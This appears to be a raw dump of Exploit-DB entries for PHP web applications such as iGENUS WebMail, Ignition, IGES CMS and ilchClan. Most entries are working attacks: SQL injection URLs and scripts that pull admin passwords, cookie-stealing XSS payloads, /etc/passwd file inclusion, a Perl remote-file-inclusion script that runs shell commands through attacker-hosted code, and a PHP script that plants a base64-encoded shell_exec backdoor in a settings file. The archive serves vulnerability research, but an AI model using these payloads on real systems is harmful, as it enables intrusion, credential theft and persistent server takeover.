deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25149
Description: iGeneric iG Shop 1.x - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-02-22
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/12627/info

iGeneric iG Shop is reportedly affected by multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using them in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

It is conjectured that all releases of iG Shop are affected by these vulnerabilities; this has not been confirmed. 

The following proof of concepts are available:
http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type=catalog_products&cats='

http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price='&u_price=1&Submit=Search

http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price=1&u_price='&Submit=Search
Exploit-DB #1527
Description: iGENUS WebMail 2.0.2 - 'config_inc.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-02-25
Author: rgod

Exploit:
#!/usr/bin/perl
use IO::Socket;

print "______________________________________________________\r\n";
print "iGENUS WebMail <= 2.0.2 remote commads xctn\r\n";
print "-> works against PHP5 with register_globals = On\r\n";
print "   & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n\r\n";
print "dork:  intitle:\"igenus webmail login\"\r\n";
print "______________________________________________________\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMAND\r\n\r\n";
print "SERVER         - Server where iGENUS is installed.\r\n";
print "PATH           - Path to iGENUS (ex: /igenus/ or just /) \r\n";
print "FTP_LOCATION   - an FTP site with the code to include\r\n";
print "COMMAND        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -la\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.php\r\n\r\n";
print "note: on ftp location you need this code in .config :\r\n";
print "<?php ob_clean();ini_set(\"max_execution_time\",0);passthru(\$_GET[\"cmd\"]);die;?>\r\n\r\n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."config/config_inc.php?cmd=".$cmd."&SG_HOME=".$loc." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# ----------------> also, with magic_quotes_gpc = Off, try this:
# http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00

# milw0rm.com [2006-02-25]
Exploit-DB #6205
Description: iges CMS 2.0 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-08-05
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: IGES CMS <=2.0 Multiple Vulnerabilities
# Vendor: www.iges.nl
# Exploit: Available
# Vulnerable Version: 2.0
# Impact: High
# Fix: N/A
###################################################################################

####################
1. Description:
####################

    IGES CMS is a complete, fully featured CMS in PHP language with SQL and became a powerful CMS having plenty of strong modules.
    This CMS is not open-source and is accessible for private use by the author company for designing their customer's websites.

####################
2. Vulnerabilities:
####################

    2.1. Injection Flaws. SQL Injection in "/news.php" or "/news_body.php" in "news_id" parameter.
        2.1.1. Exploit:
                        Check the exploit/POC section.
    2.2. Cross Site Scripting (XSS). Reflected XSS attack in "/links.php" in "cat" parameter.
        2.2.1. Exploit:
                        Check the exploit/POC section.

####################
3. Exploits/POCs:
####################

1. Exploits/POCs:
	1.1. Injection Flaws. SQL Injection in "/news.php" or "/news_body.php" in "news_id" parameter.
		-------------
		Find Admin's password:
		http://[URL]/news.php?news_id=65 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12 from users/*
		http://[URL]/news_body.php?news_id=65 union select 1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12 from users/*
		-------------
		1.2. Cross Site Scripting (XSS). Reflected XSS attack in "/links.php" in "cat" parameter.
		-------------
		http://[URL]/links.php?cat=<script>alert(/XSS/.source)</script>
		-------------

####################
4. Solution:
####################

    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################

AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-08-05]
Exploit-DB #17426
Description: iGiveTest 2.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-21
Author: Brendan Coles

Exploit:
iGiveTest 2.1.0 SQL Injection Vulnerability

# Date: 2011-06-22
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-06-22-iGiveTest-2.1.0-SQL-Injection-Vulnerability/

# Software: iGiveTest
# Version: <= 2.1.0
# Homepage: http://iGiveTest.com/
# Google Dork: "Powered by iGiveTest"

# Vendor: Sight2k
# Homepage: http://sight2k.com/
# Notified: 2011-03-22 (currently unpatched)

# Exploit:

Guest level privilages, or higher, are required.

http://localhost/[PATH]/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
Exploit-DB #1863
Description: Igloo 0.1.9 - 'Wiki.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# Igloo 0.1.9 and prior [(text_wiki mod)] - Remote File Include Vulnerabilities
# Script site: http://download.savannah.nongnu.org/releases/igloo/
# dork: Igloo (interest group glue)
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# and greetz str0ke  :-)
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[Igloo_path]/class/Wiki/Wiki.php?c_node[class_path]=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-06-02]
Exploit-DB #37352
Description: Ignite Solutions CMS - 'car-details.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-03
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/53771/info

Ignite Solutions CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/car-details.php?ID=[Sql]
Exploit-DB #9437
Description: Ignition 1.2 - 'comment' Remote Code Injection
Type: webapps
Platform: php
Date: 2009-08-14
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                   Ignition Remote Code Execution                            ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com                                                      #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://launchpadlibrarian.net/27567060/ignition_1.2.zip                 #
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#Send a comment and inject a php code in name such as : z"include $f;/*             #
#Then refresh the page,now u see the code compile.                                  #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-08-14]
Exploit-DB #10569
Description: Ignition 1.2 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-12-20
Author: cOndemned

Exploit:
Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
disclosed by cOndemned
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
greetz: all friends, SecurityReason team :)


comment.php

	1.	<?php 
	2.	session_start();
	3.	require ('settings.php');
	4.	include ('posts/'.$_GET['blog'].'.txt');			# [1]
	5.	?>


view.php

	1.	<?php
	2.	session_start();
	3.	require ('settings.php');
	4.	$blog = $_GET['blog'];
	5.	if (file_exists('posts/'.$_GET['blog'].'.txt')) {
	6.	include ('posts/'.$_GET['blog'].'.txt');			# [2]
	7.	}else{


proof of concept:

	[1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
	[2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00
Exploit-DB #15917
Description: Ignition 1.3 - 'comment.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-06
Author: n0n0x

Exploit:
#######################################################
#Ignition 1.3 <=== Local File Include
#######################################################
#By n0n0x
#Homepage: http://priasantai.uni.cc/
#Download script :http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz
#######################################################
=========================================
xpl : 
http://site.com/comment.php?blog=../../../../../../../../../../LFI%00

<?php 
session_start();
require ('data/settings.php');
include ('data/posts/'.$_GET['blog'].'.txt'); <== LFI vuln
?>
=========================================
#######################################################
#Greetz: all member | manadocoding.org - sekuritiOnline.net
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3,  0pa, x0r0n, team_elite, thama,
#            devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet
######################################################
Exploit-DB #15864
Description: Ignition 1.3 - 'page.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-30
Author: cOndemned

Exploit:
Ignition 1.3 (page) Local File Inclusion Vulnerability
disclosed by cOndemned

download: 

	http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz

note: 
	1. Magic_quotes_gpc should be turned off in order to exploit this vulnerability
	2. LFI bugs found by me in previous version (1.2) are still working in this one


source of page.php

	1.	<?php
	2.	session_start();
	3.	require "data/settings.php";
	4.	if (file_exists('data/pages/'.$_GET['page'].'.html')) {
	5.	include ('data/pages/'.$_GET['page'].'.html');			<----- LFI
	6.	}else{
	7.	die(
	8.	require('404.php')); }


proof of concept:

	http://[attacked_box]/[ignition1.3]/page.php?page=../../../../../etc/passwd%00
	http://[attacked_box]/[ignition1.3]/page.php?page=../../../../../[localfile]%00
Exploit-DB #15865
Description: Ignition 1.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2010-12-30
Author: cOndemned

Exploit:
<?php

/*

Ignition 1.3 Remote Code Execution Exploit
by cOndemned
download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz


source of i-options.php

	1.	<?php
	2.	session_start();
	3.	if ($_POST['submit']) {
	4.	if ($FH = @fopen('data/settings.php', 'w')) {
	5.		@fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
	6.	$uri = "'.$_POST['uri'].'";
	7.	$suri = "'.$_POST['suri'].'";
	8.	$blogtitle = "'.$_POST['title'].'";
	9.	$description = "'.$_POST['description'].'";
	10.	$postid = "'.$_POST['id'].'";
	11.	$author = "'.$_POST['author'].'";
	12.	$skin = "'.$_POST['skin'].'";
	13.	$gravatar = "'.$_POST['gravatar'].'";
	14.	$twitter = "' . $_POST['twitter'] . '";
	15.	$identica = "' . $_POST['identica'] . '";
	16.	$book = "' . $_POST['book'] . '";
	17.	$game = "' . $_POST['game'] . '";
	18.	$language = "' . $_POST['lang'] . '";
	19.	
	20.	require_once("template.php");
	21.	require_once("lang/$language.php");');
	22.		#fclose($FH);
	23.	}

We can overwrite setting.php by simply sending specially crafted POST request, 
and put some evil code into one of the variables. After running my PoC line with
$language var will be:

	$language = "en";echo @shell_exec($_GET['cmd']);$wtf="";

Where "en" is default language and without filling this field correctly admin 
will see error while trying to access blog index. 

other attacks scenarios:

	- attacker can use $_POST['language'] variable to exploit Local File 
	Inclusion (lines 18 and 21)

	- fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
	password

	- etc...
*/


$target = 'http://localhost/ignition/';

$post = array
(
	'uri'		=> $target,
	'suri'		=> $target,
	'description'	=> 'Just another lame php blog script owned :<',
	'skin'		=> 'default',
	'lang'		=> base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='),
	'submit'	=> 1
);

$sock = curl_init();

curl_setopt_array
(
	$sock, 
	array
	(
		CURLOPT_URL 		=> "$target/i-options.php",
		CURLOPT_RETURNTRANSFER	=> true,
		CURLOPT_POST		=> true,
		CURLOPT_POSTFIELDS	=> http_build_query($post)
	)
);

curl_exec($sock);
curl_close($sock);

echo "Check: $target/data/settings.php?cmd=[system_command]";

?>
Exploit-DB #42617
Description: iGreeting Cards 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iGreeting Cards 1.0 - SQL Injection
# Dork: N/A
# Date: 04.09.2017
# Vendor Homepage: http://coryapp.com/
# Software Link: http://coryapp.com/?product&index
# Demo: http://coryapp.com/demo/greetingcards/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?index&search&k=[SQL]
# 
# eFe'+/*!11112UnIoN*/(/*!11112SelEcT*/+0x283129,VERSioN(),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829)--+-
# 
# http://localhost/[PATH]/index.php?index&index&p=[SQL]
# 
# http://localhost/[PATH]/index.php?category&index&id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #26856
Description: IHTML Merchant 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15911/info

iHTML Merchant is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/merchant.ihtml?id=56&step=[SQL]
http://www.example.com/merchant.ihtml?id=[SQL]
http://www.example.com/merchant.ihtml?pid=[SQL]
Exploit-DB #26855
Description: IHTML Merchant Mall - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15910/info

iHTML Merchant Mall is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/browse.ihtml?step=4&store=42&id=[SQL]
http://www.example.com/browse.ihtml?step=4&store=1[SQL]
http://www.example.com/browse.ihtml?step=[SQL]
Exploit-DB #36658
Description: iknSupport 'search' Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-02
Author: Red Security TEAM

Exploit:
source: https://www.securityfocus.com/bid/51803/info

iknSupport is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/module/kb/search_word/" onmouseover=alert(1) bad=/"/Submit/Search/task/search
Exploit-DB #21304
Description: IkonBoard 2.17/3.0/3.1 - Image Tag Cross-Agent Scripting
Type: webapps
Platform: php
Date: 2002-02-26
Author: godminus

Exploit:
source: https://www.securityfocus.com/bid/4182/info

Ikonboard is a Web Bulletin Board Service (BBS) software package written in Perl which runs on Unix and Linux variants.

Ikonboard allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials.

Reports have indicated that this may be an issue in older versions.

It has also been reported that Ikonboard 3.1.1 is also vulnerable to this issue.

[img]javasCript:alert('Hello world.')[/img]
[IMG]javascript:alert(document.cookie).gif[/IMG]
Exploit-DB #32779
Description: Ilch CMS 1.1 - 'HTTP_X_FORWARDED_FOR' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-06
Author: Gizmore

Exploit:
source: https://www.securityfocus.com/bid/33665/info

Ilch CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ilch CMS 1.1L and prior versions are vulnerable.

The following proof of concept X-Forward-For header is available:

http://www.example.com', (select `pass` from prefix_user WHERE `id` > 0
ORDER BY `id` LIMIT 1)) /*
Exploit-DB #1516
Description: ilchClan 1.05g - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-20
Author: x128

Exploit:
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "oo proxy support  $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "                    [proxy]:[port]\n";
    echo "oo [post id]      id of a post in the forum where a guest have the permission\n";
    echo "                  to write a reply with a quote\n";
    echo "oo example        $ php ilchclan-105g-exploit.php http://localhost 1 1\n";
    echo "oo open the file ilchclan_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 21/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?m=forum&um=newpost&tid=" . $_SERVER['argv'][2] . "&pid=" . urlencode("0 UNION SELECT pass, name FROM prefix_user WHERE id = ". $_SERVER['argv'][3] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][4])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][4]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("ilchclan_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-20]